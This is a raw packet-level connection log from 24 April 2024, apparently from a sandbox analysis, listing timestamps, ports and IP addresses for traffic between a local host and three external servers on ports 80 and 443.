Apr 24, 2024 09:17:03.673620939 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:03.673640013 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:03.673655033 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:03.673672915 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:03.673722982 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:03.742590904 CEST	443	49706	96.17.209.196	192.168.2.6
Apr 24, 2024 09:17:03.742697954 CEST	443	49706	96.17.209.196	192.168.2.6
Apr 24, 2024 09:17:03.742747068 CEST	49706	443	192.168.2.6	96.17.209.196
Apr 24, 2024 09:17:03.742815018 CEST	443	49706	96.17.209.196	192.168.2.6
Apr 24, 2024 09:17:03.742856026 CEST	49706	443	192.168.2.6	96.17.209.196
Apr 24, 2024 09:17:03.742880106 CEST	49706	443	192.168.2.6	96.17.209.196
Apr 24, 2024 09:17:03.770127058 CEST	443	49706	96.17.209.196	192.168.2.6
Apr 24, 2024 09:17:03.770226002 CEST	49706	443	192.168.2.6	96.17.209.196
Apr 24, 2024 09:17:03.770253897 CEST	443	49706	96.17.209.196	192.168.2.6
Apr 24, 2024 09:17:03.770309925 CEST	443	49706	96.17.209.196	192.168.2.6
Apr 24, 2024 09:17:03.770312071 CEST	49706	443	192.168.2.6	96.17.209.196
Apr 24, 2024 09:17:03.770365000 CEST	49706	443	192.168.2.6	96.17.209.196
Apr 24, 2024 09:17:03.772655010 CEST	49706	443	192.168.2.6	96.17.209.196
Apr 24, 2024 09:17:03.772692919 CEST	443	49706	96.17.209.196	192.168.2.6
Apr 24, 2024 09:17:03.828599930 CEST	49707	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:03.828653097 CEST	443	49707	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:03.828830004 CEST	49707	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:03.829338074 CEST	49707	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:03.829349041 CEST	443	49707	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:04.019442081 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.019480944 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.019542933 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.019550085 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.019627094 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.019680977 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.019726992 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.019781113 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.019781113 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.019793987 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.019891024 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.019906998 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.019932032 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.019946098 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.020009995 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.020092964 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.020152092 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.020157099 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.020674944 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.020687103 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.020749092 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.020749092 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.020749092 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.020762920 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.020838022 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.020879030 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.020944118 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.021001101 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.021001101 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.021004915 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.021044970 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.021094084 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.021137953 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.021178007 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.021224976 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.364864111 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.364885092 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.364950895 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.364959955 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.364972115 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.365044117 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.365048885 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.365094900 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.365108013 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.365183115 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.365233898 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.365237951 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.365302086 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.365351915 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.365384102 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.365432024 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.365473032 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.365552902 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.365602016 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.366142035 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.366192102 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.366246939 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.366287947 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.366334915 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.366345882 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.366453886 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.366477013 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.366508961 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.366533041 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.366538048 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.366626978 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.366676092 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.366693020 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.366750956 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.366770983 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.366806984 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.366806984 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.366847038 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.367265940 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.367319107 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.367357016 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.367489100 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.367544889 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.367582083 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.367628098 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.367743969 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.367829084 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.367875099 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.367906094 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.368024111 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.368046999 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.368083954 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.368129969 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.368153095 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.368161917 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.368174076 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.368213892 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.368216991 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.368406057 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.368451118 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.368493080 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.368549109 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.368592978 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.368632078 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.368675947 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.709949970 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.710000992 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.710017920 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.710091114 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.710120916 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.710138083 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.710160017 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.710211039 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.710223913 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.710254908 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.710268974 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.710309029 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.710349083 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.710355043 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.710396051 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.710416079 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.710453033 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.710475922 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.710515022 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.710525990 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.711390018 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.711436987 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.711437941 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.711484909 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.711500883 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.711529970 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.711549044 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.711570024 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.711608887 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.711616039 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.711657047 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.711668015 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.711707115 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.711714029 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.711755037 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.711779118 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.711818933 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.711843967 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.711889029 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.711908102 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.711952925 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.712008953 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.712048054 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.712362051 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.712400913 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.712443113 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.712459087 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.712510109 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.712512970 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.712548971 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.712588072 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.712635994 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.712678909 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.712706089 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.712824106 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.712866068 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.712918997 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.712935925 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.712979078 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.713002920 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.713037014 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.713037014 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.713062048 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.713207006 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.713251114 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.713274002 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.713354111 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.713402987 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.713411093 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.713429928 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.713452101 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.713475943 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.713495970 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.713512897 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.713536024 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.713551044 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.713599920 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.713641882 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.713682890 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.713687897 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.713701010 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.713741064 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.713768005 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.713824034 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.713825941 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.713843107 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.713880062 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.713891983 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.713951111 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.713989973 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.713996887 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.714035034 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.714057922 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.714078903 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.714121103 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.714178085 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.714245081 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.714282990 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.714287043 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.714320898 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.714350939 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.714375973 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.714406013 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.714423895 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.714448929 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.714478970 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.714519978 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.714567900 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.714576960 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.714618921 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.714657068 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.714673996 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.714709997 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.714725971 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.714787006 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.714831114 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.714837074 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.714859009 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.714905024 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.714921951 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.714937925 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.714961052 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.714984894 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.715019941 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.715044022 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.715064049 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.715085983 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.715107918 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.715147972 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.715166092 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.715203047 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.715223074 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.715240002 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.715277910 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.715380907 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.715393066 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:04.715431929 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:04.851298094 CEST	443	49707	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:04.851403952 CEST	49707	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:05.047941923 CEST	49707	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:05.047960997 CEST	443	49707	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:05.048973083 CEST	443	49707	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:05.049052954 CEST	49707	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:05.049720049 CEST	49707	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:05.055243969 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.055265903 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.055321932 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.055352926 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.055387974 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.055396080 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.055418968 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.055435896 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.055459023 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.055505037 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.055550098 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.055551052 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.055591106 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.055613995 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.055653095 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.055659056 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.055708885 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.055756092 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.055778980 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.055778980 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.055808067 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.055829048 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.055866957 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.056585073 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.056636095 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.056694031 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.056739092 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.056746006 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.056788921 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.056811094 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.056827068 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.056853056 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.056871891 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.056901932 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.056914091 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.056943893 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.056972980 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.056993008 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.057005882 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.057053089 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.057099104 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.057116985 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.057156086 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.057168961 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.057193995 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.057214975 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.057269096 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.057894945 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.057950020 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.057981014 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.058029890 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.058029890 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.058068037 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.058123112 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.058170080 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.058176994 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.058208942 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.058238029 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.058258057 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.058298111 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.058327913 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.058366060 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.058403969 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.058424950 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.058466911 CEST	49705	80	192.168.2.6	200.45.93.45
